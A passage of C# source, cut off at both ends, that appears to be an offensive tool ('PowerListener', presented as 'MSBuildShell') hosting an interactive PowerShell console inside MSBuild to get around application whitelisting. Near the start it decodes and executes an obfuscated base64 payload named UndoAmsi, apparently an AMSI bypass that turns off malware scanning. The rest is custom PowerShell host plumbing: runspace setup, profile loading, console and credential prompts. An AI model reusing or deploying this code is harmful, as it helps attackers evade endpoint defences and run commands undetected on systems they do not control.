latestOSVersionDec) { string UndoAmsi = System.Text.Encoding.UTF8.GetString(System.Convert.FromBase64String(@"IElOdm9rRS1leHByZVNTSU9uICggKCBbcnVOVGlNRS5JbnRFUk9QU2VSVklDRXMubUFSU0hBbF06OlB0UnRPc3RSSW5HQXV0byggW3JVTnRJTWUuaU5URVJvUFNlclZJY2VTLm1BcnNoQUxdOjpTZWN1ckVTVHJJbmd0b0JTdFIoJCgnNzY0OTJkMTExNjc0M2YwNDIzNDEzYjE2MDUwYTUzNDVNZ0I4QUhFQVRRQmxBREFBTkFCV0FEUUFTQUJJQURZQWVBQmlBSGtBYkFCTkFHUUFjUUJIQUhFQWNnQkZBRkVBUFFBOUFId0FaZ0ExQUdNQVlnQXpBRElBWXdCaUFHUUFZUUF6QURZQVl3QmhBRElBTUFBM0FEa0FOUUJtQURVQVpnQTNBR1FBT1FBM0FEZ0FZUUF6QUdZQU5BQTJBRFVBTmdBeUFEa0FNUUE0QURrQVl3QXdBRElBWWdBd0FEa0FaQUJsQURZQU1BQXpBRFFBTlFCa0FESUFaZ0F4QUdRQVpnQmhBRE1BTVFBM0FEQUFaQUJpQURNQU5BQTVBREFBTndCakFEVUFPUUE1QUdNQU5nQmlBR1FBWXdBMUFHVUFZd0JsQURVQU5nQXdBRGtBWXdBd0FEWUFPQUF5QURFQU9RQmhBRElBWWdBMkFETUFPUUEyQURjQVlnQTBBRE1BT1FBeEFHUUFNd0EzQUdRQU5BQmtBRElBTkFBMEFHVUFNZ0F3QUdNQVpnQXdBRFFBWkFBekFHRUFaQUEzQURnQVl3QTVBRGdBT0FCakFESUFOQUJqQUdVQU5BQTBBRFVBWlFBNUFHRUFNUUJoQURVQU9RQTRBREFBWmdBd0FHWUFOZ0E1QURRQU1RQTFBR0VBTmdBNUFETUFaQUJpQURBQVlRQm1BRE1BWmdBeEFHUUFOd0E0QUdJQU1nQTRBRE1BT1FCbEFHVUFPQUEyQURRQVpBQTVBR0VBTVFCaUFESUFaQUJoQUdFQU5nQTVBRGdBTVFCbEFEY0FaUUEyQURJQVpBQmlBRElBWXdCbEFESUFaQUJpQUdNQVpBQmlBREFBWXdCaEFEQUFaQUE1QURZQVlRQTFBREVBTmdCa0FETUFOd0ExQURjQVpBQXdBRFlBTXdBd0FHVUFOUUEwQURFQU1BQTRBREVBTUFBNUFESUFNUUExQURnQU5BQmhBRFVBWXdBekFHTUFOQUF4QUdVQVpnQXlBRFVBWWdCbEFEa0FaZ0F6QURrQU9BQTVBREFBWlFBNUFESUFZUUEyQURVQU9RQXpBREVBT1FBMkFEVUFaUUF4QURjQU1BQTNBRFVBTlFCaEFHRUFNZ0EwQUdJQU5nQTFBRGNBTlFBeEFEUUFOd0F5QURZQU53QXhBRGtBTkFBMEFEWUFNZ0EwQURrQU5nQmxBR1lBWVFCakFHWUFOUUJsQURRQVpBQmhBRGdBTmdBM0FERUFaZ0JoQUdVQU9BQmxBRFVBTUFBMkFEY0FOQUE1QURNQVpBQTBBRGdBWlFBd0FHUUFNQUF5QURjQU5BQTJBR0VBTndBekFEVUFZUUE1QUdRQU1nQmtBR1FBTXdBMEFHRUFOZ0EwQUdRQU9RQTJBRGtBTndBd0FHRUFZd0ExQURnQU5nQXhBREFBTUFBMkFEUUFNUUJqQURFQVpRQmtBREFBTVFBMkFEZ0FaZ0F5QURNQU13QXpBRE1BWXdBNUFHWUFNUUJtQURJQU53QXdBRFVBWmdBMkFEVUFNd0F5QURnQU13QTBBRGNBWWdBNEFEVUFZZ0JtQURNQU1BQTFBRFFBTkFCbEFHWUFaQUF6QUdNQU53Qm1BRFVBTmdBM0FHUUFPUUF6QURFQU1nQTFBRFVBWlFBekFEY0FaZ0JqQUdFQU53QTRBR0lBWWdBNEFESUFPUUJoQUdVQU9RQXhBRGdBTmdBMEFEY0FNQUF6QUdJQVpRQmlBRFVBWkFBd0FEVUFPUUF4QURFQU53QTRBRGtBTlFBd0FESUFOd0JpQURnQVpRQTVBR1lBTVFBekFEQUFNUUF5QURFQU5RQXhBRGNBTWdCaUFETUFPQUF6QURjQU53QmxBR01BWkFCbEFHWUFZZ0JtQURVQU13QmxBR1lBWXdBeUFEa0FOd0EzQUdNQU5RQmxBRElBWXdBeUFERUFOQUF4QUdFQU5nQmpBR1FBTWdBNUFESUFNd0F4QURZQVpRQm1BREFBTXdBekFEVUFZd0JrQUdZQU5BQT0nIHxjb25WRVJUdG8tc0VjdVJFc3RSSU5HICAta0VZICgyMTIuLjE4MSkpICkpKSkg")); PowerListener.Execute(UndoAmsi); } PowerListener.CommandShell(); return true; } } class PowerListenerConsole { private bool shouldExit; private int exitCode; private MyHost myHost; internal Runspace myRunSpace; private PowerShell currentPowerShell; private object instanceLock = new object(); public PowerListenerConsole() { InitialSessionState state = InitialSessionState.CreateDefault(); state.AuthorizationManager = new System.Management.Automation.AuthorizationManager("Dummy"); this.myHost = new MyHost(this); this.myRunSpace = RunspaceFactory.CreateRunspace(this.myHost, state); this.myRunSpace.Open(); lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } try { this.currentPowerShell.Runspace = this.myRunSpace; PSCommand[] profileCommands = HostUtilities.GetProfileCommands("PowerShell"); foreach (PSCommand command in profileCommands) { this.currentPowerShell.Commands = command; this.currentPowerShell.Invoke(); } } finally { lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } } public bool ShouldExit { get { return this.shouldExit; } set { this.shouldExit = value; } } public int ExitCode { get { return this.exitCode; } set { this.exitCode = value; } } public void CommandShell() { PowerListenerConsole listener = new PowerListenerConsole(); listener.CommandPrompt(); } private void executeHelper(string cmd, object input) { if (String.IsNullOrEmpty(cmd)) { return; } lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } try { this.currentPowerShell.Runspace = this.myRunSpace; this.currentPowerShell.AddScript(cmd); this.currentPowerShell.AddCommand("out-default"); this.currentPowerShell.Commands.Commands[0].MergeMyResults(PipelineResultTypes.Error, PipelineResultTypes.Output); if (input != null) { this.currentPowerShell.Invoke(new object[] { input }); } else { this.currentPowerShell.Invoke(); } } finally { lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } } private void ReportException(Exception e) { if (e != null) { object error; IContainsErrorRecord icer = e as IContainsErrorRecord; if (icer != null) { error = icer.ErrorRecord; } else { error = (object)new ErrorRecord(e, "Host.ReportException", ErrorCategory.NotSpecified, null); } lock (this.instanceLock) { this.currentPowerShell = PowerShell.Create(); } this.currentPowerShell.Runspace = this.myRunSpace; try { this.currentPowerShell.AddScript("$input").AddCommand("out-string"); Collection result; PSDataCollection inputCollection = new PSDataCollection(); inputCollection.Add(error); inputCollection.Complete(); result = this.currentPowerShell.Invoke(inputCollection); if (result.Count > 0) { string str = result[0].BaseObject as string; if (!string.IsNullOrEmpty(str)) { this.myHost.UI.WriteErrorLine(str.Substring(0, str.Length - 2)); } } } finally { lock (this.instanceLock) { this.currentPowerShell.Dispose(); this.currentPowerShell = null; } } } } public void Execute(string cmd) { try { this.executeHelper(cmd, null); } catch (RuntimeException rte) { this.ReportException(rte); } } private void HandleControlC(object sender, ConsoleCancelEventArgs e) { try { lock (this.instanceLock) { if (this.currentPowerShell != null && this.currentPowerShell.InvocationStateInfo.State == PSInvocationState.Running) { this.currentPowerShell.Stop(); } } e.Cancel = true; } catch (Exception exception) { this.myHost.UI.WriteErrorLine(exception.ToString()); } } private void CommandPrompt() { int bufSize = 8192; Stream inStream = Console.OpenStandardInput(bufSize); Console.SetIn(new StreamReader(inStream, Console.InputEncoding, false, bufSize)); Console.CancelKeyPress += new ConsoleCancelEventHandler(this.HandleControlC); Console.TreatControlCAsInput = false; while (!this.ShouldExit) { string prompt; if (this.myHost.IsRunspacePushed) { prompt = string.Format("[{0}]: PS> ", this.myRunSpace.ConnectionInfo.ComputerName); } else { prompt = string.Format("PS {0}> ", this.myRunSpace.SessionStateProxy.Path.CurrentFileSystemLocation.Path); } this.myHost.UI.Write(prompt); string cmd = Console.ReadLine(); if (cmd == "exit" || cmd == "quit") { return; } else if (cmd == "cls") { Console.Clear(); } else { try { this.Execute(cmd); } catch (Exception e) { Console.WriteLine(e.Message); } } } } } internal class MyHost : PSHost, IHostSupportsInteractiveSession { /// /// A reference to the runspace used to start an interactive session. /// public Runspace pushedRunspace = null; /// /// Initializes a new instance of the MyHost class. Keep a reference /// to the host application object so that it can be informed when /// to exit. /// /// A reference to the host application object. public MyHost(PowerListenerConsole program) { this.program = program; } /// /// The identifier of this instance of the host implementation. /// private static Guid instanceId = Guid.NewGuid(); /// /// A reference to the PSHost implementation. /// private PowerListenerConsole program; /// /// The culture information of the thread that created this object. /// private CultureInfo originalCultureInfo = System.Threading.Thread.CurrentThread.CurrentCulture; /// /// The UI culture information of the thread that created this object. /// private CultureInfo originalUICultureInfo = System.Threading.Thread.CurrentThread.CurrentUICulture; /// /// A reference to the implementation of the PSHostUserInterface /// class for this application. /// private MyHostUserInterface myHostUserInterface = new MyHostUserInterface(); /// /// Gets the culture information to use. This implementation takes a /// snapshot of the culture information of the thread that created /// this object. /// public override CultureInfo CurrentCulture { get { return this.originalCultureInfo; } } /// /// Gets the UI culture information to use. This implementation takes /// snapshot of the UI culture information of the thread that created /// this object. /// public override CultureInfo CurrentUICulture { get { return this.originalUICultureInfo; } } /// /// Gets the identifier of this instance of the host implementation. /// This implementation always returns the GUID allocated at /// instantiation time. /// public override Guid InstanceId { get { return instanceId; } } /// /// Gets the name of the host implementation. This string may be used /// by script writers to identify when this host is being used. /// public override string Name { get { return "MSBuildShell"; } } /// /// Gets an instance of the implementation of the PSHostUserInterface class /// for this application. This instance is allocated once at startup time /// and returned every time thereafter. /// public override PSHostUserInterface UI { get { return this.myHostUserInterface; } } /// /// Gets the version object for this host application. Typically /// this should match the version resource in the application. /// public override Version Version { get { return new Version(1, 0, 0, 0); } } #region IHostSupportsInteractiveSession Properties /// /// Gets a value indicating whether a request /// to open a PSSession has been made. /// public bool IsRunspacePushed { get { return this.pushedRunspace != null; } } /// /// Gets or sets the runspace used by the PSSession. /// public Runspace Runspace { get { return this.program.myRunSpace; } internal set { this.program.myRunSpace = value; } } #endregion IHostSupportsInteractiveSession Properties /// /// Instructs the host to interrupt the currently running pipeline /// and start a new nested input loop. Not implemented by this example class. /// The call fails with an exception. /// public override void EnterNestedPrompt() { throw new NotImplementedException("Cannot suspend the shell, EnterNestedPrompt() method is not implemented by MyHost."); } /// /// Instructs the host to exit the currently running input loop. Not /// implemented by this example class. The call fails with an /// exception. /// public override void ExitNestedPrompt() { throw new NotImplementedException("The ExitNestedPrompt() method is not implemented by MyHost."); } /// /// Notifies the host that the Windows PowerShell runtime is about to /// execute a legacy command-line application. Typically it is used /// to restore state that was changed by a child process after the /// child exits. This implementation does nothing and simply returns. /// public override void NotifyBeginApplication() { return; // Do nothing. } /// /// Notifies the host that the Windows PowerShell engine has /// completed the execution of a legacy command. Typically it /// is used to restore state that was changed by a child process /// after the child exits. This implementation does nothing and /// simply returns. /// public override void NotifyEndApplication() { return; // Do nothing. } /// /// Indicate to the host application that exit has /// been requested. Pass the exit code that the host /// application should use when exiting the process. /// /// The exit code that the host application should use. public override void SetShouldExit(int exitCode) { this.program.ShouldExit = true; this.program.ExitCode = exitCode; } #region IHostSupportsInteractiveSession Methods /// /// Requests to close a PSSession. /// public void PopRunspace() { Runspace = this.pushedRunspace; this.pushedRunspace = null; } /// /// Requests to open a PSSession. /// /// Runspace to use. public void PushRunspace(Runspace runspace) { this.pushedRunspace = Runspace; Runspace = runspace; } #endregion IHostSupportsInteractiveSession Methods } internal class MyHostUserInterface : PSHostUserInterface, IHostUISupportsMultipleChoiceSelection { [DllImport("ole32.dll")] public static extern void CoTaskMemFree(IntPtr ptr); [DllImport("credui.dll", CharSet = CharSet.Auto)] private static extern int CredUIPromptForWindowsCredentials(ref CREDUI_INFO notUsedHere, int authError, ref uint authPackage, IntPtr InAuthBuffer, uint InAuthBufferSize, out IntPtr refOutAuthBuffer, out uint refOutAuthBufferSize, ref bool fSave, int flags); [DllImport("credui.dll", CharSet = CharSet.Auto)] private static extern bool CredUnPackAuthenticationBuffer(int dwFlags, IntPtr pAuthBuffer, uint cbAuthBuffer, StringBuilder pszUserName, ref int pcchMaxUserName, StringBuilder pszDomainName, ref int pcchMaxDomainame, StringBuilder pszPassword, ref int pcchMaxPassword); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct CREDUI_INFO { public int cbSize; public IntPtr hwndParent; public string pszMessageText; public string pszCaptionText; public IntPtr hbmBanner; } /// /// A reference to the MyRawUserInterface implementation. /// private MyRawUserInterface myRawUi = new MyRawUserInterface(); /// /// Gets an instance of the PSRawUserInterface object for this host /// application. /// public override PSHostRawUserInterface RawUI { get { return this.myRawUi; } } /// /// Prompts the user for input. /// /// Text that preceeds the prompt (a title). /// Text of the prompt. /// A collection of FieldDescription objects /// that contains the user input. /// A dictionary object that contains the results of the user prompts. public override Dictionary Prompt( string caption, string message, Collection descriptions) { this.Write( ConsoleColor.Blue, ConsoleColor.Black, caption + "\n" + message + " "); Dictionary results = new Dictionary(); foreach (FieldDescription fd in descriptions) { string[] label = GetHotkeyAndLabel(fd.Label); this.WriteLine(label[1]); string userData = Console.ReadLine(); if (userData == null) { return null; } results[fd.Name] = PSObject.AsPSObject(userData); } return results; } /// /// Provides a set of choices that enable the user to choose a single option /// from a set of options. /// /// A title that proceeds the choices. /// An introduction message that describes the /// choices. /// A collection of ChoiceDescription objects that describ /// each choice. /// The index of the label in the Choices parameter /// collection that indicates the default choice used if the user does not specify /// a choice. To indicate no default choice, set to -1. /// The index of the Choices parameter collection element that corresponds /// to the option that is selected by the user. public override int PromptForChoice( string caption, string message, Collection choices, int defaultChoice) { // Write the caption and message strings in Blue. this.WriteLine( ConsoleColor.Blue, ConsoleColor.Black, caption + "\n" + message + "\n"); // Convert the choice collection into something that's a // little easier to work with // See the BuildHotkeysAndPlainLabels method for details. string[,] promptData = BuildHotkeysAndPlainLabels(choices); // Format the overall choice prompt string to display... StringBuilder sb = new StringBuilder(); for (int element = 0; element < choices.Count; element++) { sb.Append(String.Format( CultureInfo.CurrentCulture, "|{0}> {1} ", promptData[0, element], promptData[1, element])); } sb.Append(String.Format( CultureInfo.CurrentCulture, "[Default is ({0}]", promptData[0, defaultChoice])); // loop reading prompts until a match is made, the default is // chosen or the loop is interrupted with ctrl-C. while (true) { this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString()); string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture); // if the choice string was empty, use the default selection if (data.Length == 0) { return defaultChoice; } // see if the selection matched and return the // corresponding index if it did... for (int i = 0; i < choices.Count; i++) { if (promptData[0, i] == data) { return i; } } this.WriteErrorLine("Invalid choice: " + data); } } #region IHostUISupportsMultipleChoiceSelection Members /// /// Provides a set of choices that enable the user to choose a one or more options /// from a set of options. /// /// A title that proceeds the choices. /// An introduction message that describes the /// choices. /// A collection of ChoiceDescription objects that describe each choice. /// The index of the label in the Choices parameter /// collection that indicates the default choice used if the user does not specify /// a choice. To indicate no default choice, set to -1. /// The index of the Choices parameter collection element that corresponds /// to the choices selected by the user. public Collection PromptForChoice( string caption, string message, Collection choices, IEnumerable defaultChoices) { // Write the caption and message strings in Blue. this.WriteLine( ConsoleColor.Blue, ConsoleColor.Black, caption + "\n" + message + "\n"); // Convert the choice collection into something that's a // little easier to work with // See the BuildHotkeysAndPlainLabels method for details. string[,] promptData = BuildHotkeysAndPlainLabels(choices); // Format the overall choice prompt string to display... StringBuilder sb = new StringBuilder(); for (int element = 0; element < choices.Count; element++) { sb.Append(String.Format( CultureInfo.CurrentCulture, "|{0}> {1} ", promptData[0, element], promptData[1, element])); } Collection defaultResults = new Collection(); if (defaultChoices != null) { int countDefaults = 0; foreach (int defaultChoice in defaultChoices) { ++countDefaults; defaultResults.Add(defaultChoice); } if (countDefaults != 0) { sb.Append(countDefaults == 1 ? "[Default choice is " : "[Default choices are "); foreach (int defaultChoice in defaultChoices) { sb.AppendFormat( CultureInfo.CurrentCulture, "\"{0}\",", promptData[0, defaultChoice]); } sb.Remove(sb.Length - 1, 1); sb.Append("]"); } } this.WriteLine(ConsoleColor.Cyan, ConsoleColor.Black, sb.ToString()); // loop reading prompts until a match is made, the default is // chosen or the loop is interrupted with ctrl-C. Collection results = new Collection(); while (true) { ReadNext: string prompt = string.Format(CultureInfo.CurrentCulture, "Choice[{0}]:", results.Count); this.Write(ConsoleColor.Cyan, ConsoleColor.Black, prompt); string data = Console.ReadLine().Trim().ToUpper(CultureInfo.CurrentCulture); // if the choice string was empty, no more choices have been made. // if there were no choices made, return the defaults if (data.Length == 0) { return (results.Count == 0) ? defaultResults : results; } // see if the selection matched and return the // corresponding index if it did... for (int i = 0; i < choices.Count; i++) { if (promptData[0, i] == data) { results.Add(i); goto ReadNext; } } this.WriteErrorLine("Invalid choice: " + data); } } #endregion /// /// Prompts the user for credentials with a specified prompt window /// caption, prompt message, user name, and target name. /// /// The caption of the message window. /// The text of the message. /// The user name whose credential is to be prompted for. /// The name of the target for which the credential is collected. /// Throws a NotImplementException exception. public override PSCredential PromptForCredential( string caption, string message, string userName, string targetName) { PromptCredentialsResult result = CredentialUI.PromptForCredentials(targetName, caption, message, userName, null); return result == null ? null : new PSCredential(result.UserName, result.Password.ToSecureString()); } /// /// Prompts the user for credentials by using a specified prompt window /// caption, prompt message, user name and target name, credential types /// allowed to be returned, and UI behavior options. /// /// The caption of the message window. /// The text of the message. /// The user name whose credential is to be prompted for. /// The name of the target for which the credential is collected. /// PSCredentialTypes cconstants that identify the type of /// credentials that can be returned. /// A PSCredentialUIOptions constant that identifies the UI behavior /// when it gathers the credentials. /// Throws a NotImplementException exception. public override PSCredential PromptForCredential( string caption, string message, string userName, string targetName, PSCredentialTypes allowedCredentialTypes, PSCredentialUIOptions options) { PromptCredentialsResult result = CredentialUI.PromptForCredentials(targetName, caption, message, userName, null); return result == null ? null : new PSCredential(result.UserName, result.Password.ToSecureString()); } /// /// Reads characters that are entered by the user until a /// newline (carriage return) is encountered. /// /// The characters entered by the user. public override string ReadLine() { return Console.ReadLine(); } /// /// Reads characters entered by the user until a newline (carriage return) /// is encountered and returns the characters as a secure string. /// /// A secure string of the characters entered by the user. public override System.Security.SecureString ReadLineAsSecureString() { return Console.ReadLine().ToSecureString(); } /// /// Writes a line of characters to the output display of the host /// and appends a newline (carriage return). /// /// The characters to be written. public override void Write(string value) { Console.Write(value); } /// /// Writes characters to the output display of the host with possible /// foreground and background colors. /// /// The color of the characters. /// The backgound color to use. /// The characters to be written. public override void Write( ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) { ConsoleColor oldFg = Console.ForegroundColor; ConsoleColor oldBg = Console.BackgroundColor; Console.ForegroundColor = foregroundColor; Console.BackgroundColor = backgroundColor; Console.Write(value); Console.ForegroundColor = oldFg; Console.BackgroundColor = oldBg; } /// /// Writes a line of characters to the output display of the host /// with foreground and background colors and appends a newline (carriage return). /// /// The forground color of the display. /// The background color of the display. /// The line to be written. public override void WriteLine( ConsoleColor foregroundColor, ConsoleColor backgroundColor, string value) { ConsoleColor oldFg = Console.ForegroundColor; ConsoleColor oldBg = Console.BackgroundColor; Console.ForegroundColor = foregroundColor; Console.BackgroundColor = backgroundColor; Console.WriteLine(value); Console.ForegroundColor = oldFg; Console.BackgroundColor = oldBg; } /// /// Writes a debug message to the output display of the host. /// /// The debug message that is displayed. public override void WriteDebugLine(string message) { this.WriteLine( ConsoleColor.DarkYellow, ConsoleColor.Black, String.Format(CultureInfo.CurrentCulture, "DEBUG: {0}", message)); } /// /// Writes an error message to the output display of the host. /// /// The error message that is displayed. public override void WriteErrorLine(string value) { this.WriteLine(ConsoleColor.Red, ConsoleColor.Black, value); } /// /// Writes a newline character (carriage return) /// to the output display of the host. /// public override void WriteLine() { Console.WriteLine(); } /// /// Writes a line of characters to the output display of the host /// and appends a newline character(carriage return). /// /// The line to be written. public override void WriteLine(string value) { Console.WriteLine(value); } /// /// Writes a verbose message to the output display of the host. /// /// The verbose message that is displayed. public override void WriteVerboseLine(string message) { this.WriteLine( ConsoleColor.Yellow, ConsoleColor.Black, String.Format(CultureInfo.CurrentCulture, "VERBOSE: {0}", message)); } /// /// Writes a warning message to the output display of the host. /// /// The warning message that is displayed. public override void WriteWarningLine(string message) { this.WriteLine( ConsoleColor.Yellow, ConsoleColor.Black, String.Format(CultureInfo.CurrentCulture, "WARNING: {0}", message)); } /// /// Writes a progress report to the output display of the host. /// Wrinting a progress report is not required for the cmdlet to /// work so it is better to do nothing instead of throwing an /// exception. /// /// Unique identifier of the source of the record. /// A ProgressReport object. public override void WriteProgress(long sourceId, ProgressRecord record) { // Do nothing. } /// /// Parse a string containing a hotkey character. /// Take a string of the form /// Yes to &all /// and returns a two-dimensional array split out as /// "A", "Yes to all". /// /// The string to process /// /// A two dimensional array containing the parsed components. /// private static string[] GetHotkeyAndLabel(string input) { string[] result = new string[] { String.Empty, String.Empty }; string[] fragments = input.Split('&'); if (fragments.Length == 2) { if (fragments[1].Length > 0) { result[0] = fragments[1][0].ToString(). ToUpper(CultureInfo.CurrentCulture); } result[1] = (fragments[0] + fragments[1]).Trim(); } else { result[1] = input; } return result; } /// /// This is a private worker function splits out the /// accelerator keys from the menu and builds a two /// dimentional array with the first access containing the /// accelerator and the second containing the label string /// with the & removed. /// /// The choice collection to process /// /// A two dimensional array containing the accelerator characters /// and the cleaned-up labels private static string[,] BuildHotkeysAndPlainLabels( Collection choices) { // we will allocate the result array string[,] hotkeysAndPlainLabels = new string[2, choices.Count]; for (int i = 0; i < choices.Count; ++i) { string[] hotkeyAndLabel = GetHotkeyAndLabel(choices[i].Label); hotkeysAndPlainLabels[0, i] = hotkeyAndLabel[0]; hotkeysAndPlainLabels[1, i] = hotkeyAndLabel[1]; } return hotkeysAndPlainLabels; } } public class HostUtilities { /// /// Root registry key for Windows PowerShell. /// internal const string PowerShellRootKeyPath = "Software\\Microsoft\\PowerShell"; /// /// Engine registry key. /// internal const string PowerShellEngineKey = "PowerShellEngine"; /// /// Registry key used to determine the directory where Windows /// PowerShell is installed. /// internal const string PowerShellEngineApplicationBase = "ApplicationBase"; /// /// The path to the Windows PowerShell version registry key. /// internal const string RegistryVersionKey = "1"; /// /// Gets a PSObject whose base object is currentUserCurrentHost and /// with notes for the other parameters. /// /// The profile file name for all /// users and all hosts. /// The profile file name for /// all users and current host. /// The profile file name for /// current user and all hosts. /// The profile name for /// current user and current host. /// A PSObject whose base object is currentUserCurrentHost /// and with notes for the other parameters. internal static PSObject GetDollarProfile(string allUsersAllHosts, string allUsersCurrentHost, string currentUserAllHosts, string currentUserCurrentHost) { PSObject returnValue = new PSObject(currentUserCurrentHost); returnValue.Properties.Add(new PSNoteProperty("AllUsersAllHosts", allUsersAllHosts)); returnValue.Properties.Add(new PSNoteProperty("AllUsersCurrentHost", allUsersCurrentHost)); returnValue.Properties.Add(new PSNoteProperty("CurrentUserAllHosts", currentUserAllHosts)); returnValue.Properties.Add(new PSNoteProperty("CurrentUserCurrentHost", currentUserCurrentHost)); return returnValue; } /// /// Gets an array of commands that can be run sequentially to set $profile and run the profile commands. /// /// The identifier of the host or shell used in profile file names. /// The commands used to set $profile. internal static PSCommand[] GetProfileCommands(string shellId) { return HostUtilities.GetProfileCommands(shellId, false); } /// /// Gets an array of commands that can be run sequentially to set $profile and run the profile commands. /// /// The id identifying the host or shell used in profile file names. /// used from test not to overwrite the profile file names from development boxes /// The commands used to set $profile. internal static PSCommand[] GetProfileCommands(string shellId, bool useTestProfile) { List commands = new List(); string allUsersAllHosts = HostUtilities.GetFullProfileFileName(null, false, useTestProfile); string allUsersCurrentHost = HostUtilities.GetFullProfileFileName(shellId, false, useTestProfile); string currentUserAllHosts = HostUtilities.GetFullProfileFileName(null, true, useTestProfile); string currentUserCurrentHost = HostUtilities.GetFullProfileFileName(shellId, true, useTestProfile); PSObject dollarProfile = HostUtilities.GetDollarProfile(allUsersAllHosts, allUsersCurrentHost, currentUserAllHosts, currentUserCurrentHost); PSCommand command = new PSCommand(); command.AddCommand("set-variable"); command.AddParameter("Name", "profile"); command.AddParameter("Value", dollarProfile); command.AddParameter("Option", ScopedItemOptions.None); commands.Add(command); string[] profilePaths = new string[] { allUsersAllHosts, allUsersCurrentHost, currentUserAllHosts, currentUserCurrentHost }; foreach (string profilePath in profilePaths) { if (!System.IO.File.Exists(profilePath)) { continue; } command = new PSCommand(); command.AddCommand(profilePath, false); commands.Add(command); } return commands.ToArray(); } /// /// Used to get all profile file names for the current or all hosts and for the current or all users. /// /// null for all hosts, not null for the specified host /// false for all users, true for the current user. /// The profile file name matching the parameters. internal static string GetFullProfileFileName(string shellId, bool forCurrentUser) { return HostUtilities.GetFullProfileFileName(shellId, forCurrentUser, false); } /// /// Used to get all profile file names for the current or all hosts and for the current or all users. /// /// null for all hosts, not null for the specified host /// false for all users, true for the current user. /// used from test not to overwrite the profile file names from development boxes /// The profile file name matching the parameters. internal static string GetFullProfileFileName(string shellId, bool forCurrentUser, bool useTestProfile) { string basePath = null; if (forCurrentUser) { basePath = Environment.GetFolderPath(Environment.SpecialFolder.Personal); basePath = System.IO.Path.Combine(basePath, "WindowsPowerShell"); } else { basePath = GetAllUsersFolderPath(shellId); if (string.IsNullOrEmpty(basePath)) { return string.Empty; } } string profileName = useTestProfile ? "profile_test.ps1" : "profile.ps1"; if (!string.IsNullOrEmpty(shellId)) { profileName = shellId + "_" + profileName; } string fullPath = basePath = System.IO.Path.Combine(basePath, profileName); return fullPath; } /// /// Gets the registry key used to install Windows PowerShell. /// /// The parameter is not used. /// The regisrty key. internal static string GetApplicationBase(string shellId) { string engineKeyPath = PowerShellRootKeyPath + "\\" + RegistryVersionKey + "\\" + PowerShellEngineKey; using (RegistryKey engineKey = Registry.LocalMachine.OpenSubKey(engineKeyPath)) { if (engineKey != null) { return engineKey.GetValue(PowerShellEngineApplicationBase) as string; } } // The default keys aren't installed, so try and use the entry assembly to // get the application base. This works for managed apps like minishells... Assembly assem = Assembly.GetEntryAssembly(); if (assem != null) { // For minishells, we just return the executable path. return Path.GetDirectoryName(assem.Location); } // For unmanaged host apps, look for the SMA dll, if it's not GAC'ed then // use it's location as the application base... assem = Assembly.GetAssembly(typeof(System.Management.Automation.PSObject)); if (assem != null) { // For for other hosts. return Path.GetDirectoryName(assem.Location); } // otherwise, just give up. return string.Empty; } /// /// Used internally in GetFullProfileFileName to get the base path for all users profiles. /// /// The shellId to use. /// the base path for all users profiles. private static string GetAllUsersFolderPath(string shellId) { string folderPath = string.Empty; try { folderPath = GetApplicationBase(shellId); } catch (System.Security.SecurityException) { } return folderPath; } } internal class MyRawUserInterface : PSHostRawUserInterface { /// /// Gets or sets the background color of text to be written. /// This maps pretty directly onto the corresponding .NET Console /// property. /// public override ConsoleColor BackgroundColor { get { return Console.BackgroundColor; } set { Console.BackgroundColor = value; } } /// /// Gets or sets the host buffer size adapted from on the /// .NET Console buffer size. /// public override Size BufferSize { get { return new Size(Console.BufferWidth, Console.BufferHeight); } set { Console.SetBufferSize(value.Width, value.Height); } } /// /// Gets or sets the cursor position. This functionality is not /// implemented. The call fails with an exception. /// public override Coordinates CursorPosition { get { throw new NotImplementedException("The CursorPosition property is not implemented by MyRawUserInterface."); } set { throw new NotImplementedException("The CursorPosition property is not implemented by MyRawUserInterface."); } } /// /// Gets or sets the cursor size taken directly from the .NET /// Console cursor size. /// public override int CursorSize { get { return Console.CursorSize; } set { Console.CursorSize = value; } } /// /// Gets or sets the foreground color of the text to be written. /// This maps pretty directly onto the corresponding .NET Console /// property. /// public override ConsoleColor ForegroundColor { get { return Console.ForegroundColor; } set { Console.ForegroundColor = value; } } /// /// Gets a value that indicates whether a key is available. /// This implementation maps directly to the corresponding /// .NET Console property. /// public override bool KeyAvailable { get { return Console.KeyAvailable; } } /// /// Gets the maximum physical size of the window adapted from the /// .NET Console LargestWindowWidth and LargestWindowHeight properties. /// public override Size MaxPhysicalWindowSize { get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); } } /// /// Gets the maximum window size adapted from the .NET Console /// LargestWindowWidth and LargestWindowHeight properties. /// public override Size MaxWindowSize { get { return new Size(Console.LargestWindowWidth, Console.LargestWindowHeight); } } /// /// Gets or sets the window position adapted from the Console window position /// information. /// public override Coordinates WindowPosition { get { return new Coordinates(Console.WindowLeft, Console.WindowTop); } set { Console.SetWindowPosition(value.X, value.Y); } } /// /// Gets or sets the window size adapted from the corresponding .NET Console calls. /// public override Size WindowSize { get { return new Size(Console.WindowWidth, Console.WindowHeight); } set { Console.SetWindowSize(value.Width, value.Height); } } /// /// Gets or sets the title of the window mapped to the Console.Title property. /// public override string WindowTitle { get { return Console.Title; } set { Console.Title = value; } } /// /// Resets the input buffer. This method is not currently /// implemented and returns silently. /// public override void FlushInputBuffer() { // Do nothing. } /// /// Retrieves a rectangular region of the screen buffer. This method /// is not implemented. The call fails with an exception. /// /// A Rectangle object that defines the size of the rectangle /// Throws a NotImplementedException exception. public override BufferCell[,] GetBufferContents(Rectangle rectangle) { throw new NotImplementedException("The GetBufferContents method is not implemented by MyRawUserInterface."); } /// /// Reads a pressed, released, or pressed and released keystroke /// from the keyboard device, blocking processing until a keystroke /// is typed that matches the specified keystroke options. This /// functionality is not implemented. The call fails with an /// exception. /// /// A bit mask of the options to be used when /// reading from the keyboard. /// Throws a NotImplementedException exception. public override KeyInfo ReadKey(ReadKeyOptions options) { throw new NotImplementedException("The ReadKey() method is not implemented by MyRawUserInterface."); } /// /// Crops a region of the screen buffer. This functionality is not /// implemented. The call fails with an exception. /// /// A Rectangle structure that identifies the /// region of the screen to be 